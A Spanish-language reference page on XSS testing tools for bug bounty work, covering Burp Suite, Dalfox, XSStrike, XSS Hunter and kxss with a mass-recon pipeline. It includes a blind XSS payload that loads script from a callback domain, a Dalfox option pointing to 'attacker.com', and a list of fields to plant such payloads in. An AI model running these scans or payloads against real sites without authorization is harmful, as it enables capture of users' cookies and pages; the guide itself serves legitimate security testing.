herramientas
Herramientas
Section titled “Herramientas”Burp Suite
Section titled “Burp Suite”La herramienta principal para detectar y explotar XSS manualmente.
Scanner (Pro) - Detección automática
Section titled “Scanner (Pro) - Detección automática”Target → Site map → clic derecho sobre request → ScanActive Scan → XSS detectado con contexto exacto de inyecciónRepeater - Explotación manual
Section titled “Repeater - Explotación manual”1. Interceptar la petición → Send to Repeater (Ctrl+R)2. Modificar el parámetro vulnerable con distintos payloads3. Buscar el payload reflejado en la respuesta (Ctrl+F)4. Identificar el contexto y adaptar el payloadIntruder - Fuerza bruta de payloads
Section titled “Intruder - Fuerza bruta de payloads”1. Send to Intruder (Ctrl+I)2. Marcar posición: §payload§3. Payloads → Load → cargar lista de payloads XSS4. Grep Match → añadir <script>, alert, onerror5. Analizar qué payloads se reflejan sin ser bloqueadosListas de payloads recomendadas:
SecLists: /Fuzzing/XSS/XSS-Jhaddix.txtSecLists: /Fuzzing/XSS/XSS-BruteLogic.txtPayloadsAllTheThings: XSS Injection/Intruder/DOM Invader - DOM XSS
Section titled “DOM Invader - DOM XSS”Extensión incluida en Burp Suite (también disponible en Burp Browser)
1. Abrir Burp Browser → Extensions → DOM Invader → Enable2. Navegar por la aplicación3. DOM Invader inyecta canarios automáticamente en todos los inputs4. Cuando un canario llega a un sink peligroso → alerta automática5. Ver el stack trace exacto: source → sinkDalfox
Section titled “Dalfox”El scanner de XSS más potente en línea de comandos. Ideal para encontrar XSS en parámetros GET/POST y detectar el contexto de inyección.
Instalación
Section titled “Instalación”# Gogo install github.com/hahwul/dalfox/v2@latest
# Homebrew (macOS/Linux)brew install dalfox
# Dockerdocker run -it hahwul/dalfox:latestUso básico
Section titled “Uso básico”# URL con parámetro GETdalfox url "https://target.com/search?q=test"
# Especificar parámetrodalfox url "https://target.com/search?q=test&page=1" -p q
# Con cookie de sesióndalfox url "https://target.com/search?q=test" --cookie "session=abc123"
# POST requestdalfox url "https://target.com/login" --data "username=test&password=test"
# Desde request file de Burpdalfox file request.txtOpciones avanzadas
Section titled “Opciones avanzadas”# Modo silencioso (solo reportar XSS encontrados)dalfox url "https://target.com/search?q=test" --silence
# Payload personalizadodalfox url "https://target.com/search?q=test" --custom-payload payloads.txt
# Blind XSS — especificar servidor de callbackdalfox url "https://target.com/search?q=test" --blind "https://attacker.com/xss"
# Ignorar parámetros concretosdalfox url "https://target.com/" --skip "page,id"
# Con proxy Burp (para ver tráfico)dalfox url "https://target.com/search?q=test" --proxy "http://127.0.0.1:8080"
# Múltiples URLs desde archivodalfox file urls.txt --silence
# Pipe desde otras herramientascat urls.txt | dalfox pipe
# Con headers personalizadosdalfox url "https://target.com/search?q=test" -H "Authorization: Bearer TOKEN"
# Aumentar workers (más rápido)dalfox url "https://target.com/search?q=test" --worker 20
# Output a ficherodalfox url "https://target.com/search?q=test" --output results.txt --format jsonXSStrike
Section titled “XSStrike”Scanner de XSS con análisis de contexto y generación inteligente de payloads.
Instalación
Section titled “Instalación”git clone https://github.com/s0md3v/XSStrike.gitcd XSStrikepip3 install -r requirements.txtUso básico
Section titled “Uso básico”# URL con parámetropython3 xsstrike.py -u "https://target.com/search?q=test"
# Escanear formularios en la URLpython3 xsstrike.py -u "https://target.com/" --crawl
# POST requestpython3 xsstrike.py -u "https://target.com/login" --data "username=test&password=test"
# Con cookiepython3 xsstrike.py -u "https://target.com/search?q=test" --headers "Cookie: session=abc123"
# Blind XSSpython3 xsstrike.py -u "https://target.com/search?q=test" --blind
# Modo fuzzing (más payloads)python3 xsstrike.py -u "https://target.com/search?q=test" --fuzzer
# Solo encontrar parámetros (no explotar)python3 xsstrike.py -u "https://target.com/" --crawl --skipXSS Hunter
Section titled “XSS Hunter”Plataforma web para capturar Blind XSS con callbacks automáticos.
URL: https://xsshunter.trufflesecurity.com/
Características:- Proporciona un dominio único: abc123.xss.ht- Genera payloads con callback automático- Captura: URL de ejecución, cookies, DOM completo, screenshot, IP, User-Agent- Notificaciones por email cuando se dispara un payload// Payload generado por XSS Hunter (ejemplo)"><script src=//abc123.xss.ht></script>
// Insertarlo en campos de Blind XSS:// - Tickets de soporte// - Formularios de contacto// - Campos de perfil// - User-Agent / Referer// - Importación de CSVHerramienta simple para detectar parámetros que reflejan input sin encoding, ideal para un primer filtrado masivo.
# Instalacióngo install github.com/Emoe/kxss@latest
# Uso: pipe de URLs con parámetroscat urls_with_params.txt | kxss
# Con waybackurls para encontrar URLs históricas con paramsecho "target.com" | waybackurls | grep "=" | kxssFlujo completo de reconocimiento XSS
Section titled “Flujo completo de reconocimiento XSS”Descubrir URLs con parámetros
Section titled “Descubrir URLs con parámetros”# 1. Recopilar URLs históricasecho "target.com" | waybackurls > urls.txtecho "target.com" | gau >> urls.txt
# 2. Filtrar URLs con parámetroscat urls.txt | grep "=" > urls_with_params.txt
# 3. Primer filtrado con kxss (qué parámetros se reflejan)cat urls_with_params.txt | kxss | tee reflected.txt
# 4. Scan profundo con dalfox sobre los reflejadoscat reflected.txt | dalfox pipe --silence | tee xss_found.txtCon Burp Suite como proxy
Section titled “Con Burp Suite como proxy”# Usar dalfox con Burp como proxy para ver el tráficodalfox url "https://target.com/search?q=test" --proxy http://127.0.0.1:8080
# O pasar requests capturadas en Burp directamentedalfox file burp_request.txtRecursos y referencias
Section titled “Recursos y referencias”| Recurso | URL |
|---|---|
| PayloadsAllTheThings XSS | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection |
| PortSwigger XSS Labs | https://portswigger.net/web-security/cross-site-scripting |
| XSS Cheat Sheet (PortSwigger) | https://portswigger.net/web-security/cross-site-scripting/cheat-sheet |
| HackTricks XSS | https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting |
| CSP Evaluator | https://csp-evaluator.withgoogle.com/ |
| XSS Hunter | https://xsshunter.trufflesecurity.com/ |
| BruteLogic XSS | https://brutelogic.com.br/blog/ |
| SecLists XSS | https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/XSS |
Para recon masivo:
waybackurls+kxsspara filtrar parámetros reflejados →dalfoxpara confirmar y explotar. Mucho más eficiente que scanear URL por URL.
DOM Invader de Burp es imprescindible para DOM XSS en SPAs (React, Angular, Vue) donde hay mucho JS y los sinks no son obvios.
En bug bounty, siempre confirmar manualmente el XSS antes de reportar — los falsos positivos de scanners automáticos son comunes, especialmente en contextos JS complejos.